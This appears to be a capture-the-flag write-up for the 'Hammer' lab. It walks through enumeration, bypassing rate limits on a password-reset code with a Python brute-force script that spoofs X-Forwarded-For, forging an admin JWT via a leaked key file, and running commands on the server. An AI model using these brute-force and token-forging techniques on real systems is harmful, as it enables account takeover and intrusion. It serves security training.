6 minute read

Hammer

Hammer is a roller coaster in terms of techniques used. From bypassing not one but two brute force protection mechanism to hacking JWTs you’ll have all and something extra! Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.

Information gathering

Enumeration

[!Note] Add hammer.thm domain to /etc/hosts

nmap

Command:

nmap -sC -sV -p- 10.10.84.254

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 f2:fe:28:1c:14:f7:59:e6:fe:30:02:26:26:7f:35:e7 (RSA)
|   256 ed:ec:90:cd:f4:ed:00:1d:62:60:1b:47:d9:ba:8b:fd (ECDSA)
|_  256 a7:78:77:ef:de:fc:08:91:f2:27:bb:85:09:b4:9f:53 (ED25519)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ffuf

Command:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://hammer.thm:1337/FUZZ -s -c -v

Results:

javascript
vendor
phpmyadmin
server-status

Exploitation

Foothold

  1. After finishing the initial enumeration we can check the login page at http://10.10.84.254:1337/
  2. Clicking on “View page source” we can see there is a comment left by developer Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME
  3. Lets build a new wordlist prefixing all the words with hmr_ for this task we can write a simple bash script:
#!/bin/bash

# Check if the correct number of arguments is provided
if [ "$#" -ne 1 ]; then
    echo "Usage: $0 input_file"
    exit 1
fi

# Input file from the command-line argument
input_file="$1"

# Define the output file (you can change the name as needed)
output_file="output.txt"

# Ensure the output file is empty before starting
> "$output_file"

# Iterate through each line of the input file
while IFS= read -r line; do
    # Prefix the line with "hmr_" and append to the output file
    echo "hmr_$line" >> "$output_file"
done < "$input_file"

echo "Processing complete. Check $output_file for the results."
  1. Run the script with initial dictionary used ./prefix_words.sh /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
  2. Now we can run ffuf again with the newly created dictionary ffuf -w /home/kali/Documents/CTF/output.txt -u http://hammer.thm:1337/FUZZ -s -c -v as a result we have a new list of directories found:
    hmr_images
    hmr_css
    hmr_js
    hmr_logs
    
  3. Checking the content of hmr_logs directory will reveal a log file containing an username: tester@hammer.thm
    [Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
    [Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
    [Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
    [Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
    [Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
    [Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
    [Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
    [Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
    [Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down
    
  4. Check the login POST request and get info to build a brute force attack with hydra:
    hydra -l tester@hammer.thm -P /usr/share/wordlists/rockyou.txt 10.10.84.254 -s 1337 http-post-form "/:email=tester@hammer.thm&password=^PASS^:Invalid Email or Password"
    
  5. The brute force on login is not working so I looked over password reset mechanism:
  6. If you try to reset password for an invalid email address you will get an error message saying that email does not exist
  7. When you try to reset password for user tester@hammer.thm you will be prompted to enter a four digit code in a time frame
  8. This way you can validate the email is in use and open a new attack surface
  9. Let’s generate a list of four digit codes using crunch 4 4 0123456789 -o 4digits.txt
  10. With the new list we can try to reset password for tester user and brute force the requested digit code protection in the specific timeframe
  11. Here we have two problems: there is a brute force mechanism in place that will block you after 5 tries on each PHPSESSID and you only have 180 sec (as per script in the page) to brute force
  12. After a couple of tries the brute force mechanism I found can be bypassed using X-Forwarded-For header with a different value for each request
  13. I wrote a Python script to brute force the code protection”:
import sys
import requests
import random

def generate_random_ip():
    # Generate a random IP address in the range of valid public IPs
    return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}"

def send_post_request(url, code):
    # Adding the random X-Forwarded-For header
    headers = {
        'X-Forwarded-For': generate_random_ip(),
        'User-Agent': 'Mozilla/5.0',  # Optional, to emulate a browser request
        'Cookie': 'PHPSESSID=q62hrhvdff0m1q24t3ps21n4vq',
        'Cache-Control': 'max-age=0'
    }

    data = {
        'recovery_code': code,
        's':'100000'
    }
    
    # Sending the POST request with headers and data
    response = requests.post(url, data=data, headers=headers)
    return response

def main():
    if len(sys.argv) != 2:
        print("Usage: python script.py <filename>")
        sys.exit(1)

    filename = sys.argv[1]
    url = "http://hammer.thm:1337/reset_password.php"

    try:
        with open(filename, 'r') as file:
            for line in file:
                code = line.strip()
                if len(code) != 4 or not code.isdigit():
                    print(f"Invalid code format: {code}")
                    continue

                # Send the request
                response = send_post_request(url, code)

                # Check if the response indicates a redirect (302)
                if not "Invalid or expired recovery code" in response.text:
                    print(f"Success! The correct code is: {code}")
                    break
                else:
                    print(f"Attempt with code {code} failed, status code: {response.status_code}")

    except FileNotFoundError:
        print(f"File {filename} not found!")
        sys.exit(1)

if __name__ == "__main__":
    main()
  1. Before You run the script you have to make a password reset request for user tester@hammer.thm and copy the PHPSESSID and use it in the script
  2. The problem is that the script should finish all 10000 codes in under 180 seconds and it can only do under 1200 tries
  3. I’ve tried to ad threads to run multiple requests in parallel, but with no luck, for some reason start throwing errors after some requests
  4. To solve the problem I have splitted the dictionary containing codes in 10 different dictionaries, run the script in parallel with smaller dictionaries (0000-0999, 1000-1999, etc.) and I managed to get the correct code and reset password

Data exfiltration

  1. With the new password I have logged into testers account and get the console flag: [FirstFlag]
  2. In the command interface you are allowed to send commands to backend server, but the user is limited to running ls command only which will output:
    188ade1.key
    composer.json
    config.php
    dashboard.php
    execute_command.php
    hmr_css
    hmr_images
    hmr_js
    hmr_logs
    index.php
    logout.php
    reset_password.php
    vendor
    
  3. Checking the log in mechanism we can see is using bearer token in JWT format
  4. Looking at the JWT header by decoding from base64 we can see is comprised of three main elements:
    {"typ":"JWT","alg":"HS256","kid":"/var/www/mykey.key"}
    
  5. The JWT payload contains information about logged user including role
    {"iss":"http://hammer.thm","aud":"http://hammer.thm","iat":1725629343,"exp":1725632943,"data":{"user_id":1,"email":"tester@hammer.thm","role":"user"}}
    
  6. At this point I’m thinking on elevating my role by changing value from user to admin or administrator
  7. For this I’ll need to change the JWT payload which will modify the last part: JWT signature
  8. To change the signature according to body modifications I’ll need a valid key ID kid to sign with
  9. After I’ve tried a couple of stuff like changing the algorithm to None and removing signature leaving only the trail dot, or brute force the JWT itself I looked over the files listed before and I saw an interesting one 188ade1.key
  10. I took the file from the server and checked the content:
wget http://hammer.thm:1337/188ade1.key

cat 188ade1.key         
56058354efb3daa97ebab00fabd7a7d7
  1. With this secret found I installed JWT Editor extension in Burp Suite and I generated a new symmetric key
  2. I’ve changed the kid in JWT header to point to the file on the server /var/www/html/188ade1.key and the role in the JWT payload to admin like:
    #header
    {  
    "kid": "/var/www/html/188ade1.key",  
    "typ": "JWT",  
    "alg": "HS256"  
    }
    #payloads 
    {  
    "iss": "http://hammer.thm",  
    "aud": "http://hammer.thm",  
    "iat": 1725629343,  
    "exp": 1725632943,  
    "data": {  
        "user_id": 1,  
        "email": "tester@hammer.thm",  
        "role": "admin"  
    }  
    }
    
  3. Finally I used the symmetric key generated before to sign my changed JWT in JSON Web Token tab in Burp Repeater and I sent the request with command in the request body:
    {"command":"cat /home/ubuntu/flag.txt"}
    
  4. And I got the final flag: [SecondFlag]